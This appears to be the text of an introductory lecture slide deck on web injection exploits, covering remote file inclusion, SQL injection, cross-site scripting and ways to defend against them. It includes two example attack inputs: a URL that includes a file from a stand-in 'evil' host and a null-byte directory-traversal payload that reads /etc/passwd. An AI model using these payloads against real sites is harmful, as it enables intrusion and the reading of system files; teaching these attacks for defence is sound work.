Vous êtes sur la page 1sur 24

Karol Stępniewski

Web security - Injection exploits


Presentation topics
 What are Injection exploits
 Why they are dangerous?
 Basic types of Injection exploits
 Remote file injection
 Cross-site scripting
 SQL Injection
 Other
 Examples of securing application against
exploits
Injection exploit – what's that?
 What is Exploit?
 Piece of software or sequence of commands,
which causes unintended behaviour to occur on
computer software.
 Usually based on bugs or other vulnerability which
exist in computer application.

Possible effects of using exploit:
 privilege escalation
 Denial of service

Gaining control of the system
Injection exploit – what's that?
 Injection exploit uses some input or data entry feature to
introduce some kind of data or code that subverts the
intended operation of the system.
 Usually these exploits exploit vulnerabilities resulting from
insufficient data validation on input and so forth.
 The way of injecting the code classifies exploits in
categories.
 1st place in OWASP TOP10 ranking of Web application
exploits.
 Used to attack IBM, Yahoo, Apple,...
Remote file inclusion
 allows an attacker to include a remote file usually through a
script on the web server.
 most often found on websites based on scripting languages
like PHP, ASP etc.
 can lead to
 Code execution on the web server
 Code execution on the client-side such as
Javascript which can lead to other attacks such as
cross site scripting (XSS).
 Denial of Service (DoS)
 Data Theft/Manipulation
Remote file inclusion - example
Trivial example: We want to
include the file based on
what color user have
chosen in form. We could
use the following
construction: (PHP and
HTML code). We give user
only two options, red and
blue. Form is passed to
server using GET method.
Remote file inclusion - example
If user finds out (what is relatively simple for GET method) how to
change possible values, he can provide own file to include, or can
even tell server to include its own files, which normally shouldn't be
available outside the server system.

Examples:
 /vulnerable.php?COLOR=http://evil/exploit? - injects a remotely hosted
file containing an exploit.


/vulnerable.php?COLOR=../../../../../../../../etc/passwd%00 - allows an
attacker to read the contents of the passwd file on a UNIX system
directory traversal.

%00 is a NULL meta character which removes the .php suffix which is
added in script.
Remote file inclusion
 RFI is very common exploit for different CMS
and other applications which provide plugin
systems, downloading and uploading many
files etc.
 Even many commercial cms where
vulnarable for RFI
Remote file inclusion – how to
defend
 Remove instructions which add files which
names are taken directly from variables –
use prepared set of possible files (choosing
with conditional instructions).
 Read privilleges on server only for files
needed on website.
 On some server systems (e.g. BSD-like) –
use jails for server filesystem.
SQL Injection
 What's that?

Most popular injection exploit
 Every application which uses SQL-based database
might be vulnerable
 However, if there is no SQL – there is no danger.
 Happens when user input is not properly validated
and escaped
SQL Injection - example

We want to create simple login form. User provides login and password,
and we check if such user exists in database. However, user provides
data which is control instruction for database. User gets logged in
without providing correct password.
SQL Injection – possible effects

 What could happen?


 Illegal access to application
 Access to whole data in database

Denial of Service
 Abillity to modify data

Abillity to execute code on server

Extremely dangerous exploit


How to defend against SQL
Injection
 Prepared statements

Seperates data from statement
 Statement is compiled, and might be used many times.
 Before compilation we place marks instead of data
values.
 After compilation we bind the data with the statement,
replacing marks with data values.
 It's not always possible to use such statements (special
types of data)
How to defend against SQL
Injection
 Prepared statements
 Example
How to defend against SQL
Injection
 Escaping

Every special character in provided data is
replaced with escaping sequence (e.g. ' is
replaced with '' or \' ).
 It's still error-prone
 Escaping sequences depend on database
used
 It's based on blacklisting special chars,
which is not optimal solution
How to defend against SQL
Injection
 Escaping

Example of escaping in PHP code using built-in function
for MySQL database.
How to defend against SQL
Injection
 Stored procedures

SQL statements are moved from script to database and
saved as procedure
 Procedure is invoked with data as parameters, has
defined output
 It's not enough, we still need to separate data from
statement in procedure
 Main rule – do not mix data with code
How to defend against SQL
Injection
 Stored procedures

Example of safe stored procedure in MySQL database
 Prepared statement is used here as well.
How to defend against SQL
Injection
 Other important things
 Validating data
 Check if age is a number, city name is a simple string, etc.
 Filtering bad data e.g. Remove letters from phone number
 Executing statements on account with minimal privillages
needed for that operation
 Regular updates of database system

Good database project
Cross-site scripting (XSS)

XSS exploit is based on injecting the code into website,
which then is displayed by other users.

Web browsers security policies do not allow scripts to
work on data other than data coming from the same
server which script comes from.

When code is injected to the website, it works on the
same data as the website does.

Attacker is able to grab session data, cookies, and
other important information
Cross-site scripting (XSS)
 exploit scenarios
 Internet boards – user adds new post,
which includes script with malicious code. If
content of new post is not properly
validated, every user who reads post also
executes script, which might steal his
cookies, session data, etc.
 Also possible using RFI method
Cross-site scripting (XSS) – how
to defend
 Validating and filtering the data
 No strange chars are allowed
 All control symbols are removed
 Escaping HTML tags and JS symbols
 Before displaying, website should replace
control symbols with entities.
 Defending on client side
 Block malicious scripts (using NoScript-like
addons, etc.)
Other injection exploits
 Frame injection – Only on IE5,6,7
 HTTP header injection
 E-mail injection – might be used to
anonymously send e-mails via forms on
public website
That's all
Thank you!

Vous aimerez peut-être aussi